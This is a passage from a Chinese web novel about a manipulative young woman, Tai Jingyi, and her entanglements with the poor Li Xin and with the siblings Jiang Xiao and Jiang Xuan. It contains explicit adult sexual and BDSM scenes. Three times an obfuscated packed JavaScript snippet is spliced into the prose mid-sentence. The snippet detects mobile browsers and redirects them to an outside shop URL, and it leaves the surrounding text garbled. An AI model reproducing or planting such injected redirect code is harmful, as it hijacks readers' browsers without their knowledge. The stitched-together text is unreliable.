台静怡把快捷短语之一发给舅舅,是个抽象文案。 “你很特别,你是我见过最特别的男妈妈。你身上有一种很特殊的孤独感,别人都看不出来,只有我知道虽然你表面是开心的,但内心却很孤独,很破碎。对了,看看咪咪。” 【舅舅】:“图穷匕见。” 一分钟后,舅舅给她发了张实况图—— 脖子上被拽松的领带、解开几个扣子的衬衫、慷慨的胸肌、起伏的腹肌,四位一体,一同占满小小的屏幕。 【舅舅】:“你要看的。” 原来这一出用姜骁来倒逼舅舅的招数,是那样管用。 台静怡计划得逞,给舅舅发消息道:“就算舅舅脱光了站在我面前,我也只会问舅舅冷不冷。抱歉,伤害舅舅这件事,我做不到。” 一分钟后,舅舅又给她发了张实况图。 西装裤退到膝盖,戴着姜骁正在戴的那个黑咕隆咚的物件。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249044|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只不过是“加麻加辣”升级款。 【舅舅】:“我让你伤害。” 嚯呦,莫名好燃。 台静怡转头回起姜骁的消息,“坏狗,你就难受着吧。” 然后发了个小猫咧嘴伸爪,预备袭胸的表情。 姜骁无疑是个好用的工具,倘若能用他从舅舅口中逼出那个骨灰盒的下落,也算他被她渣得很有价值。 回完这些消息,李欣正好从病房里走出。 台静怡把一个低调奢华的袋子递给李欣,“回去试试,应该合身。” 李欣不解:“什么。” 台静怡抱着胳膊朝前走,“定制内衣。” 李欣立即想起那段记忆。 初次见面,台静怡对她的穷酸穿搭不掩鄙夷。 那时李欣穿着一件打骨折价的衬衫,衬衫里头是一件老气横秋的钢圈内衣。胸肉被勒到变形,呼吸很是不畅。 贫穷让李欣敏感到神经兮兮的地步,那之后她洗澡时恨不能把自己搓秃噜皮,唯恐遭到台静怡嫌弃。 原来台静怡一直都知道,知道她扭曲的心思,病态的追求。 台静怡像一面镜子,李欣从中看出一切自己梦寐以求的。 李欣抬脚追上去,“我有内衣。” 台静怡不在意地笑了笑,“不要就还我。” 李欣登时把袋子搂在身前,“谢谢你。” 台静怡在电梯前停脚,“你拿什么谢我?” 李欣一言不发,不知道该回什么。 等电梯时,她从背包里拿出一根中性笔和一个日记本,翻到本子的空白页,拿笔“哗哗”写着她能拿出手的“感谢”。 请客吃饭?学狗叫?买同样价值的回礼? 似乎她能想到的所有“感谢”,于台静怡而言都不算是等价交换。 李欣列举几项,又觉不妥,用笔一一划掉。 “在写什么?” 台静怡蓦地侧过身,把李欣拽着日记本的手指一根接一根地掰开。 下午两点的空气令人昏昏欲睡,走廊里吹来一阵裹挟着鸟的羽毛的风。有根羽毛起先落在台静怡的头发上,像条韬光养晦的小白蛇,慢慢向下爬,从台静怡的发尾爬到颈侧,又从颈侧爬到手臂,最终爬到日记本的空白页上面。 没人知道这副场面有多美妙。正在做骨科手术的医生不会知道,隔壁弹安剖瓶的护士不会知道,走廊里匆匆而过的路人不会知道。 李欣确信,只有自己知道,台静怡用多么轻柔的动作把羽毛掸走,像一池湖水荡起涟漪,说不清是把湖面上的落花拂走,还是温和地将其吞噬。 等的电梯到了,台静怡走了进去。 电梯门合上的那一瞬,如同相机摁下快门,“咔嚓”拍出一张照片。 日记本里黑纸白字的秘密如同相机镜框,将一整个夏天钉在照片里面。 而台静怡站在夏天的中间。 “叮——” 门开了。 站在夏天中间的那个人,朝李欣伸出手,散落酷暑的威力。 一年一度的中暑时刻,李欣晕头转向地把暑气拾获。 9. Chapter 9 那天李欣回家后,四肢无力,脚步发虚。脱掉衣服,躺在床上,额前贴着清凉贴,的确是中暑迹象。 妹妹李妍从学校悄摸溜回家,待在自己的小屋里竭力打扮。 柜里有条黑丝袜怎么都找不到,李妍门也不敲地推开李欣的房间,掀开她的衣柜,翻天倒地地找。 “姐,我那条黑丝你有看到吗?” 李妍把瘦削的身体一股脑地埋到樟脑球味的木柜里,像只叛逆期的小刺猬,把李欣叠好的衣裳全都捞乱。 李妍一条胳膊朝前捞,一条胳膊朝后抡,把碍眼的衣裳都扔到李欣床上。 “姐,你是不是又趁我不在家,偷偷翻我的衣柜了?别光躺着,赶紧起来帮我找!我急着出去!” 不是偷翻,是帮忙叠衣裳。 李欣叹了口气,“你能不能把心思都放在学习上?到时要是考个职专,看我揍不揍你!”说着,把视线投到李妍身上。 “这么短的裙子,半个屁股都要露出来了。你是要出去见谁?”李欣看了李妍的性感过头的穿搭,气不打一处来。 “不说话,是觉得我不知道你那点小心思?”李欣捞起手边的一条牛仔裤腰带,“唰”地朝李妍的侧腰打去。 实际上李欣不敢打李妍的腰,怕把她打疼。腰带落的地方,是李妍那个短裙兜不住的半截屁股。 “发什么神经?我成年了!你管我那么多!” 李妍从衣柜里扒出脑袋,看到李欣的穿搭后,黑丝也不找了,猛虎出山似的扑到床上,揪住李欣的内衣。 “谁给你买的?谁给你买的!你去勾引谁了!这么好的内衣……这么好的内衣……” 李妍骑在李欣身上,咬牙切齿。 李欣一手护内衣,一手推李妍,“有毛病!” 她生怕李妍把内衣扯断,“进屋不敲门,还随便拽别人的内衣!有没有教养!” 李妍虽瘦,力气却分外大,三两下就把李欣身上的内衣解开。 “这么好的料子,还没有钢圈,罩杯卡得刚刚好,穿上一定很舒服。” 李妍把内衣拿起,在自己胸前比划。 李欣头上那个用来捆头发的发圈崩开,丸子头原地解散。 “你胸那么小,穿着不合适。” “你去勾引哪个土豪了?人家这么大方,都上赶着给你定制内衣了!不对……是那个富婆姐姐?你跟她睡了?” 隔着衣裳,李妍把内衣扣到自己胸前——空杯很厉害,像小孩偷穿哺乳期妇女的内衣。 李妍卸掉力气,在李欣身上坐实,把整个人的重量都丢在姐姐的腰胯上。 “别捂胸了,你身上哪处我没看过。”李妍拍掉李欣护胸的手,又把内衣解下,扔到李欣胸前,“喏,富婆姐姐给你的,你还是穿上吧。” 看着李欣穿内衣的窝囊动作,李妍心里满不是滋味。 她的窝囊姐姐,一直有种没有天赋的勤奋。多年读书下苦功夫,末了只考上一个二本;上了大学到处参加活动,拿奖学金助学金,找工作时还是只能拿到两千多的工资。 姐姐长得水秀,身材也好,却一直偏爱那种五米外看不出男女的休闲穿搭。 姐姐老实又懦弱,在厂里被霸凌多次,要不是那个富婆姐姐两肋插刀,估计姐姐早就被霸凌得缺胳膊少腿了。 这样的姐姐,让她羡慕嫉妒,又爱又恨的姐姐。她一生都超越不了的姐姐,她恨铁不成钢的姐姐。 “考个职专又怎样,我有胳膊有腿的,什么钱赚不了。就算赚再少,起码也能养得起我们两个。” 李妍下床,不再纠结黑丝在哪儿,反而选起穿哪双高跟鞋更合适。 “那弟弟呢。”李欣失神低喃。 “你还管他?!爸妈重男轻女还不够,现在你还要上赶着当扶弟魔?” 李妍握住一条腰带,像刚刚李欣打她一样,打了下李欣的大腿。 “疼、疼!”李欣捂着大腿肉,侧身翻滚。 “疼死你。”李妍蹬着高跟鞋,动作用力,脚脖处蹭下一块皮,。 她一下疼得倒嘶冷气,“就会说‘疼、疼。’疼就反抗,光说有什么用。” “那你怎么不反抗。” 李欣在床上翻了圈,蜷着身,盯着正在试高跟鞋的李妍看。 李妍愣住,稍后才理解李欣的话意。 “我有什么办法。”李妍自嘲道,“为了改善生活,你一个直女都能下海捞钱。那我这个本来就劣迹斑斑的人,有什么豁不出去的。” 李欣听得心里不好受,“嗖”地坐起身,“小妍,你别出去混了。” “我不出去,全靠你这个怂人挣钱么……” 李妍拿纸往后脚跟的伤处草草擦了下,“别做白日梦了,姐。你那两三千的工资,根本没法支撑我们两个逃离家庭。” “我没下海。”李欣指着衣柜,“右边第三层,有一个白色袋子,里面是我身上这件内衣的同款。衣料材质、罩杯大小、花纹颜色,全都一模一样。你要是喜欢,就拿去让裁缝改成你的尺码。” 台静怡送给她两件定制内衣。在酷夏,两件内衣足够一直更换着穿。 “你别妄自揣测我和她之间的关系,我们是朋友,不是金主和情人。”李欣敛下眉眼,“她不是一个纯正的好人,但她对我很好,真的很好。” “阶级不是随便交个朋友就能跨越的。”李妍揿住屋门把手,“姐,你就是太傻了。” 说着,李妍走出屋,把门带住。 “以后,我尽量敲门。你也别再翻我的衣柜了。” 李妍说道。 高跟鞋“咵嗒”、“咵嗒”的声音由大变小,渐渐遍寻不见。 李欣把枕头底下的一个安全套摸出——从李妍那屋的柜子里找出来的。 最廉价的那种套,螺纹样式、香精味重,尺寸比MAC口红还小。 男人下半身那个马蝇幼虫并不能够让妹妹获得愉悦,但性之外的附属价值,如金钱地位等,却能将妹妹禁锢得很牢靠。 这样严峻心酸的生存状况…… 李欣原以为自己会嚎啕大哭,可实际上,自己无论如何都流不出泪,只是胸口闷得异常难受,像一直在被一把又细又长的针扎着,密不透风的疼痛。 缓了好一会儿,李欣才生出能握住手机的力气。 她对置顶聊天发了条消息。 “棠棠,明天中午还约饭吗?” 两个小时后,置顶回了消息。 【大小姐】:“随便。” 李欣握紧手机,敲敲打打,又删删减减。 “想去哪个地方吃?想吃什么?具体约在几点?” 又过了两个小时。 【大小姐】:“可以。” 天黑了,喝得烂醉的妹妹已经回来了。 卫生间在李欣卧室的隔壁,李欣贴着墙壁,听见那头妹妹蹲在马桶前,乌拉哇啦地呕吐。 李欣拿着手机,想冲出屋关心妹妹,又怕不能秒回台静怡的消息。 犹豫再三,李欣把屋门斜开一条缝。 屋里黑,妹妹却没开灯,摸瞎卸妆洗漱,边脱衣裳边往屋里走,衣裳零散落了一路。嘴里甚至嘟嘟囔囔,“来个金主妈妈求求了……想跟女人睡……” 不一时,妹妹进了屋,将屋门反锁。 李欣出屋,同样没开灯,摸瞎给妹妹收拾衣裳。 李欣在地上摸到一摞厚重的红钞。 红钞上面捆着一张小纸条,纸条上有一行字—— “7.24赚6000,预备给欣姐买一件名牌裙,盖屁股那种。” 卫生间里飘出一股呕吐物的臭味。 李欣首次觉得,钱就是一坨迟早要被清走的呕吐物。 而掉进钱眼里的人,是无数个肮脏的、卑鄙的、永世不能翻身的呕吐袋。 打开手机,大小姐仍没有回消息。 ** 那个黑环环终于被台静怡远程玩没电时,姜骁心里竟不知是庆幸还是失落。 过去几天,他24小时时时刻刻都戴着这玩意儿。直播工作时戴着,下播线下社交时戴着,睡觉时戴着,自我纾解时更戴着! 因为不得纾解,反倒慢慢体会出cu.m control的妙处。 可在他为此上瘾时,那玩意儿反倒没电了。 明明该松一口长气,然而他竟然隐约期冀,能够再体验一回电流过身的滋味。 这几天,他一直在给台静怡发擦边图,可台静怡的反应莫名冷淡,除了偶尔夸夸他的奶和牛,其他时间基本已读不回。 他还保留着一些莫名其妙的矜持,不想进度太快,随随便便就亲了做了。可当台静怡与他保持同样的矜持,他反而夜不能寐,心里猫抓般的痒。 他期冀再次迎来一个夏加尔蓝夜,就像在她家没修成电路的那一晚,能够沉浸在黑暗里,被她喝着奶,玩着牛,然后矫揉造作地表演:“这位女士,请你管好你的爪子。” 8月初,秉持着“再不主动勾引,对方就要开学了”的理念,姜骁首次给台静怡打了个视频电话。 “主播再擦的话,账号就要被封了。” 台静怡把姜骁的视频电话页面切成小屏,一面玩单机小游戏,一面时不时瞟姜骁一眼。 “难受,你来我家,解开。” 姜骁把镜头对准需要打马赛克的部位。 台静怡拿起另一部手机,回他妹妹姜萱的消息。 “是吧是吧,萨福的乌木玫瑰从头到尾都很nice!” 瞥过眼看姜骁,“你说什么?” 姜骁随即将镜头上移,从裆部移到脸部,“我搜了下,萨福是个指.套牌子。你在跟谁聊天,都聊到18X的程度了。” 跟你家那个女同妹妹呀,差点跟你妹妹打视频电话,同时将你们兄妹俩拿下。 台静怡在心里腹诽。 “我的事跟你有半毛钱关系么,姜大主播。”台静怡怼完,又拿起另一部手机语音转文字,“反正你先把东西准备好嘛,医用的、萨福、爱乐园、桉予、壹斯花园、pito……各个牌子的都弄来。” “各个牌子?”姜骁打开浏览器,按照台静怡所提到的挨个去搜。 好样的,都是拉拉指.套。 幸好姜萱还没跟她见过面,姜骁心想,否则妹妹也要被她无情霍霍。 “我今晚有空,要见面么。”台静怡说道。 “如果你想”,姜骁朝台静怡递去一个清爽而自然的wink,“也不是不行。” 台静怡朝姜骁竖中指,“没问你,主播别自作多情。” 姜骁气笑,“行,你就当着我的面,跟人家聊着吧。” “可以呀,窝在沙发里,从《菊石》看到《海紫》,看累了就拿指.套随便抠抠。”台静怡声音轻快,“你好文艺哦,你跟我认识的别的拉子都不一样。” “《菊石》和《海紫》都是女同电影。”姜骁在浏览器里搜得认真,“话里话外都是热拉故事,那刚才为什么接我的视频电话?我是你们俩play里的一环?” 台静怡终于放下另一部手机,看向姜骁,“急什么,今晚就去你家,给你把那环解开。不过我记得说明书上有写,要是没电,环就会自动解开。” 她把眼睛凑近镜头,“你不会又把它给锁上了吧?” “我才没有。” 姜骁耳根爆红,飞快把镜头停在胸膛上,脖子朝后仰,确保台静怡不能看到他脸红的样子。 “今晚也跟你见面。”台静怡说。 “你不是要跟那个人见面?”姜骁把短袖一截一截地撩起,卡在胸上。 “顺腿的事。”台静怡笑道。毕竟兄妹俩那个家很小,玩完哥哥撩妹妹,不就是顺腿的事么。 “真是时间管理大师。”姜骁还不知道台静怡跟姜萱处到了什么地步,“先见我,再见那个人。这样做的话,我就不计较你脚踏N条船的事。” 台静怡诚恳道:“我没有脚踏N条船,我跟任何人都没有确定恋爱关系,也不会在同一时间、同一地点与两个及以上的人同时发生性关系。我可是坚定的1v1战士,只不过喜欢无缝衔接而已。” “你这样的人,也会受社会规则的规训?”姜骁抬了抬腰,“我以为,社会规则只对无权无势的老实人生效。” 台静怡:“你是老实人?” 姜骁的手一路向下伸,在某个地方停住。 “我可以不是。” ** 挂掉姜骁的电话后,台静怡专心把列表里的消息清了清。 李欣话好多,鲜花文学与宇宙之类的事,总是事无巨细地给她分享,未读消息常是99+。 好烦,先拉黑。 姜骁既要又要,欲拒还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249045|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎,作得没边。等利用他把舅舅套来,她不会再分给此做作男半点好脸色看。 姜萱更是傻得无边无际,是那种老了会买无数保健品的最容易上当受骗的傻子。 在获县待了有一个月的时间,台静怡最大的感受是:这里蠢人、笨人、穷酸人、下等人,比空气里的灰尘还多,数不胜数。 如果不是为了得到妈妈的骨灰,她这辈子都不会下乡,来到这样的穷乡僻壤。 台静怡扪心自问,自己无疑是一个标准的精致利己主义者,做任何事都抱着极其功利的目的,对人与人之间的真心根本不屑一顾。 帮李欣扼杀霸凌者,送其各种稀奇昂贵的东西,才不是热血青年路见不平,只是觉得观看这种穷人被生活掌掴无数遍后,仍要跪着去挣钱的场面很有趣。 台静怡安然享受一切讨好、奉承,喜爱别人那副跪着给她当狗的模样。 李欣是她在获县养的第一条狗。 她随手扔个钢镚,李欣那种既想把钢镚捡走,又怕她心生鄙夷,因此行事鬼祟、不得章法的模样,简直令她百看不腻。 对于姜家这对兄妹俩,在家里停电的那一晚,她曾对姜骁说过她的目的。 “我专门来毁掉你。” 专门来毁掉你、你的妹妹,你的妈妈和你那快死的爸爸。 可惜,那时姜骁不信,也许是没反应过来。 兄妹俩都是单细胞生物,自以为伪装得很好,却不曾想到,姜家最核心的那个秘密,早被她勘察得一清二楚。 算算时间,现在离她毁掉姜家没剩多久。 毁掉这个风雨飘摇的家,不需要扯出“曾有深仇大恨”一类的幌子。 仅仅是,她觉得好玩。 她明明那样坏,恶毒得坦坦荡荡。可总有人用千百种理由为她辩解,出奇一致地信她善良。 恶毒者几乎没有真心,可仅仅冲着“几乎”二字,就有无数人豁了命地想成为那部分薛定谔的真心。 她想到李欣在日记本里写过:“有时真想不顾一切,拿着刀去杀人,来自一个底层人被社会摧残后的终极幻想。” 可是杀人,不是最简单的事么。要毁掉一个人、一群人乃至一个阶层,何曾需要豁出一切,明明易如反掌。 杀人何曾需要出刀,明明出血量再小不过。 ** 因为心情好的缘故,台静怡大度地允许各狗有各狗的狗心思。 譬如姜骁想带她回家做成人会做的事,即使他妹妹就歇在隔壁。他为此感到一种游戏性的刺.激。 譬如姜萱仗着她哥哥不知道她与心选姐之间,其实离生命大和谐只差抠抠嘬嘬的那一步,甚至比她哥哥那边的进程更快,更有效率。 夜幕降临时,台静怡跟着姜骁回家。 一进门,恰与精心打扮好的姜萱打个照面。 “这是我妹妹,姜萱。她是女同。” 姜骁主动介绍道。 “女同又不是看见个女的就要上,你不要介绍得这么刻意,像有性取向歧视一样。”台静怡数落完姜骁,又对姜萱笑道:“你好呀,小萱。初次见面,我叫台静怡。” 姜萱心脏狂跳。 救命,当着亲哥的面,和心选姐在一起演戏,未免也太刺激! “台……咳,棠棠姐姐,你好。” 姜萱走到台静怡身边,像个没边界感的直女似的,主动挽起台静怡的胳膊,“我们去沙发那边坐。我找好了电影,待会儿带上哥哥,我们仨一起看。” 姜骁忽地皱起眉头,“人家还没说小名叫‘棠棠’,你怎么就叫上了?该不会……” 姜萱眨眼,“哥,你天天在家‘棠棠’来‘棠棠’去的。我要是连这点感知力都没有,那不就成了缺心眼。”说得淡定,其实内心慌乱,生怕露馅。 “你俩先看着电影。”姜骁没多想,“我去洗一篮水果。” 随后把水果洗好,切成果盘。再坐下,和俩姑娘一起挤到窄小的沙发里。 此时氛围刚好,姜骁朝姜萱递了个眼色,让她识趣点,赶紧回屋。 “电影演上了。”姜萱忽视亲哥那道明示的眼神,假装在摸腿边的电视遥控器,其实慢慢摸上了台静怡的左手。 啊,心选姐的手! 姜萱不禁翘起嘴角,却对姜骁解释:“最近常对着空调风口睡,有点面瘫的倾向。” 隔着一层朦朦胧胧的黑暗,姜骁看不真切。 “明天就去中医院看看,你这整的,面瘫跟偷笑似的。” 台静怡坐在兄妹俩中间,慢慢与姜萱十指相扣,“是得要喝中药调理一下。” 姜萱用那根修剪过的中指,在台静怡掌心挠了挠,“嗯,对。要喝中药,慢慢就调理好了。”嘻嘻,才不呢。两周药罐子,一生女同情。 电影叽里呱啦地演着,姜骁默不作声地捞起台静怡的右手,放到下半身那个需要打马赛克的部位。 被烫到似的,台静怡猛地缩回手。 摆手间,手指无意把一个小小的控制器摁了下,随即就有“嗡嗡”的玩具声传来。 姜骁登时弓起腰,并起腿,像只被丢进热油里的虾,通身渐渐变红。 台静怡朝姜骁口语问:“那东西不是没电了么,怎么又响起来了。” 姜骁气声回:“我又,把电,充满……唔……” 台静怡的手又不小心往控制器上摁了下,姜骁差点从原地弹跳起来。 “什么声音?”姜萱把脑袋朝台静怡那边歪了歪。 台静怡扶正她的脑袋,“可能是对门邻居家的狗在叫唤。” 才不是狗。 姜骁深呼吸几次,盯着电视屏幕,努力转移注意力。 电影进程过半时,姜骁终于察觉出了不对劲之处。 怎么是女同电影,先前他分明有跟姜萱商量好,今晚看异性恋纯甜无虐电影。 “这什么电影?”姜骁哑声问。 那边姜萱被台静怡撩得智商离家出走,一时没多想,直白回:“《菊石》。” 好熟悉的名字。 姜骁竭力回忆。 不久,他瞪大双眼,有如被最亲近的人狠狠背叛! 他的crush,她的心选姐,同一晚见面,同样在沙发里看电影…… 姜骁惊得下巴颏能拉到地上! 噢,噢! 难道! 10. Chapter 10 意识到罪恶的真相后,一切都晚了。 姜骁破天荒地无助起来,无意挪了下身,手竟碰到那个千刀万剐的控制器。 档位调到最高。 他“唰”地起身,背对两位姑娘,捞来抱枕捂住关键地域,用意念调好弹道后,僵直坐回沙发里。 忽有一阵亲吻声传到耳里,他见鬼似的回眸一瞥—— 台静怡跨坐在姜萱腰上,一手拽着姜萱的头发,让她不自控地朝后仰头;一手从她短袖的下摆伸入,指尖一路上滑,马甲线、肋骨、胸膛…… 台静怡那头黑长直垂落,把姜萱的脸庞与锁骨笼罩在一个美妙的陷阱里。 姜萱搂住台静怡的腰,胳膊慢慢锁牢。两手的中指和食指已经戴好指.套——她和台静怡都喜欢的那个牌子,萨福的乌木玫瑰。 “我的天呐。” 姜骁心里凉飕飕的。 兄妹俩喜欢同一个渣女这件事,他一直都知道。 但妹妹和渣女的进度都这么快了吗?外人还在场,俩姑娘就旁若无人,直接驶入高速了? “啊,哥……” 姜萱把一截舌拽出,安抚似的蹭了蹭台静怡的下巴颏,“我哥还在。” 台静怡把姜萱的内衣扣解开,捋头发垂脑袋,准备开吃。 “小狗快滚,哪凉快哪儿待去。” 姜骁半刻都不想多待,把抱枕扔到沙发里,大有割袍断义的决绝倾向。 台静怡立即拿起那个抱枕,塞到姜萱腰后。受抱枕支撑,姜萱不由得把腰杆子朝前抬起,方便台静怡喝拉子牌罐罐奶。 厚颜无耻!伤风败俗! 当然最重要的是,他极其嫉妒先给台静怡喂奶的不是他! 在此之前,他已经为她躺上冰冷的手术台,做了冷冰冰的结扎手术。 口头工作也练得到位,把一根红绳放到嘴里,他能充分发挥主观能动性,用舌编出一串花绳。 此刻他裤子口袋里还放着几个套,可惜还没等派上用场,就被姜萱截胡。 越想越气,姜骁气冲冲地冲出家,想随便走走,散散心。可不停歇的电与震.动,一直都在施展强度。以这副模样出小区,估计会被喊一路的“流氓”。 姜骁又气冲冲地回了家。拧开门把手,换鞋进屋,客厅里已经没了人影。 电影已经演到结尾,电视里不再有对话声传出,取而代之的是姜萱那屋的热拉动静。 姜骁默不作声地凑近,耳朵贴到屋门上面,仔细偷听。 台静怡戏谑道:“到了这种时候,还讲究TPH那一套?” 姜萱严守阵线,“不行不行,被姐姐抠真的好羞耻!我只想做服务人的那一方,你快乐就是我快乐!” 台静怡略有不满,“可是你真的没经验呀,亲不会亲,抠不会抠……这样,你把小册子拿来,我手把手教你。” 助兴阶段,台静怡扇了姜萱几巴掌,很实在那种。 那巴掌仿佛隔空扇到姜骁脸上,他捂着腮帮子,心里一边为自己的偷听行径感到羞愧,一边又仗着反正没人知道,愈发肆无忌惮地YY。 不愧是一家人,哥和妹都是先天的第十三个英文字母体质。 “叫主人。” 台静怡钳住姜萱的下巴。 兄妹俩几乎同时喊道:“主人。” 只不过姜萱喊出了声,而姜骁却是在心里默念。 “像这样,要亲不亲的,施展出一种半死不活的松弛感。”小台老师线下辅导,“想象你正漫步在上海街头,戴着耳机沉浸式city walk,放轻松,很轻松,唯我独尊的那种轻松。” “叫妈妈。” 台静怡把项圈扣到姜萱脖子上。 “妈……妈妈。” 姜萱头晕眼花,手不知该放到哪里。 最后,选择掐住自己的肉。 像电影《烧女图》里的某幅画像一般,女性之间的爱恨情仇,即便如烈火般燃烧,也只会燃烧自己的裙角,让炙痛与灰烬都挥洒到自己身上。 “小台老师,姐姐。”姜萱用牙齿把台静怡的吊带解下,“我是不是比哥哥更像妈妈。” 台静怡的恋母属性昭然若揭,姜萱毫不怀疑,倘若她见过自己的妈妈,那么此刻来取悦她的,不是自己,也不会是哥哥,而极有可能是妈妈。 “妈妈。”姜萱低喃道,“你叫我妈妈,我也叫你妈妈,这算怎么一回事。” “妈妈……” 台静怡倒在床褥里,不着调地想起她的“原装”妈妈,台君丽女士。 记忆里的都市丽人,头发的弧度永远卷得刚刚好,脖侧永远停有淡淡的香水味,腕骨上永远垂着一个玉镯。 那个哪怕踩着高跟鞋爬山都身轻如燕的女人,声音坚定又有母亲的温度,像小说女主那样完美又缥缈不可追。 十二年前,妈妈带她去麦当劳过生日。店里总是有种油乎乎、滑溜溜却又令人安心的香味,像妇人伸出手,慈爱地把客人揽住。 也许是薯条、鸡块、面包与奶油混合在一起的味道,还带了点纸质包装袋的味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249046|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有人说那是店里洗手液的味道,谁知道呢。 麦当劳的儿童餐会和hello kitty一起联名,推出各种各样的小玩具,史努比、大头狗…… 那些可爱玩具,她攒了一整个柜子。 她坐在妈妈对面,吃过快餐,仰头盯着妈妈补妆的动作。 妈妈专心致志地描眉,手里拿着那种千禧年款式的小镜子——红边,镜子背面是身着旗袍的美人图像。 “一直看着妈妈,棠棠也想画眉毛?” 说完,妈妈给她也画了眉毛。 妈妈把镜子反过来,照出她那一瞬的孩童模样—— 她的两眉中间贴有爱心小贴纸,眉毛成了妈妈的同款,嘴巴红溜溜的,沾着没擦掉的番茄酱。 有个审美非常好的妈妈,无疑是站在了巨人的肩膀上。 此后她对美的感知,几乎是把记忆里妈妈的思想给完美复刻下来。 她接受的美育,她形成的审美,她对美的追求,都源自于妈妈。 “啊……妈妈……” 台静怡近乎虔诚般,环住姜萱的脖颈,让她恪守哺育孩子的原则。 姜萱把额头抵上台静怡的额头,很乐意被妈塑。 “姐姐,你要是我生的就好了。” 夜里下了场毛毛雨,雨水少得可怜,似在犹豫到底过不过夏天。 姐姐舒服够了,姜萱索性把套摘下,接上一阵轻声细语的after care。 之后,姜萱把需要洗的衣服和床单扔到脏衣篓里,又把脏衣篓扯出屋,准备做清洗工作。 她轻轻带上门,恰与没来得及躲进屋的姜骁打了个照面。 “哥,我知道你在偷听。”姜萱低声道,“总之,是我先和姐姐好完了。” 姜骁没搭理,径直越过姜萱,飞快推开她那屋的门,闪现进屋,随后利落反锁。 “喂!哥!” 姜萱丢下脏衣篓,“你还有没有道德底线了!我警告你,不准碰姐姐!” “风水轮流转,你不走,我怎么来419。” 姜骁把背抵在门上,任由门外的姜萱乱捶。 “又没在同一时间、同一地点同时发生关系。妹妹行,哥哥就不行?” 姜骁走一步褪一件,慢慢凑近台静怡。 “这下小萱起码得拿出铁T救火的本事,才能把屋里的坏狗撵走。” 台静怡坐起身,笑着调侃。 姜骁把一条膝盖折起,压在她身旁,重心前倾。 “可以吗?” 11. Chapter 11 姜萱敲了几下门后,停了动作。像姜骁那样,她也把耳朵贴到门上,试图听出些动静。 不能独占某人的惋惜,肾上激素飙升的性.欲,道德底线和固有三观的游离与破裂…… 仿佛这些事独独属于二十来岁的大好年纪,独独属于一个连毛毛雨都在犹豫到底过不过夏天的夏天。 姜萱站得累,背抵着屋门坐到地上,一条腿折起,一条腿懒懒地蹬直。走廊过道有蚊子飞过,她手里拿着电蚊拍,噼里啪啦地甩过,蚊尸便落了一地。 也许就像那句歌词所说“拥有的都是侥幸,失去的都是人生”。 十分钟之前,是她把手指伸进台静怡裙底下那个曲折潮.润的甬道,精准打击、乘胜追击、无懈可击,让台静怡嗔着她的颠勺手段真厉害,可担大厨之责。 现在她空有锅铲,纵使颠勺再厉害,也无处施展。哥哥将她取而代之,也许会比她有更多力气和手段,代替她去讨好那个她想继续讨好的人。 在确定恋爱关系前,姜萱提前把失恋的滋味体会一通,真是一种抓心挠肝的郁闷。 过了会儿,她坐回客厅的沙发里,打开电视,搜了几部电影看。《指匠情挑》、《阿黛尔的生活》、《战火中的伊甸园》、《埃伦娜》…… 她置气似的,想把这四部电影全看完。结果还没看几分钟,眼皮就上下打架,整个人朝梦乡沉沉栽去。 夏夜被不知名的蓝色笼罩,阳台外面的月亮成了个癫痫的夏加尔蓝月。在这样的蓝色光线里,台静怡的身上落有许多小小的蓝斑——像她家里那面教堂花窗样式的彩绘玻璃碎成的圆圆的、暗暗的小玻璃片,把姜骁的嘴唇、手指扎得丢了温度。 “我不要了。”台静怡摁住他的脑袋,“从我的腿间退出来。” 说得好像他们已经做了几回,其实前戏还没开场。姜骁仅仅是把脑袋靠在她的腿根,撒娇般地蹭了蹭。嘴唇偶尔有不老实的时候,亲她的足、她的腿肚、她的膝盖,一掠而过。 “陈老师最近向学校提了辞职申请,算算时间,这两天申请也该通过了。”台静怡起身,拽住姜骁的头发,“这件事,你是不是在瞒着小萱。” 陈老师是指姜家兄妹俩的母亲,陈青。 姜骁挑眉,“你想跟我妈做?” 台静怡不置可否。 “我妈最近没空。”姜骁扣住她的手腕,“她一直在处理什么事情,具体情况没跟我说,小萱更是不知情。” “也许是见你直播赚了大钱,陈老师觉得没有继续工作的必要,所以提前退休,准备过养老生活。” “你知道实情?” 姜骁抱住台静怡,改变俩人的姿势,让她跨坐在自己腰胯上。 这就很微妙了。她没穿衣服,水直接流到他的裤上,像在面对面神交。 “当然知道。”台静怡拽住姜骁脖子上的项链,被他不轻不重地拍了下手背,听他说道:“你这什么癖好,不是拽头发就是掐脖子,喜欢别人仰视你,还是喜欢看别人窒息。” “都有。”台静怡冷然一笑,“其实我对你们兄妹俩已经很放水了。” 姜骁的思维被她的话带跑,“怎么讲。” 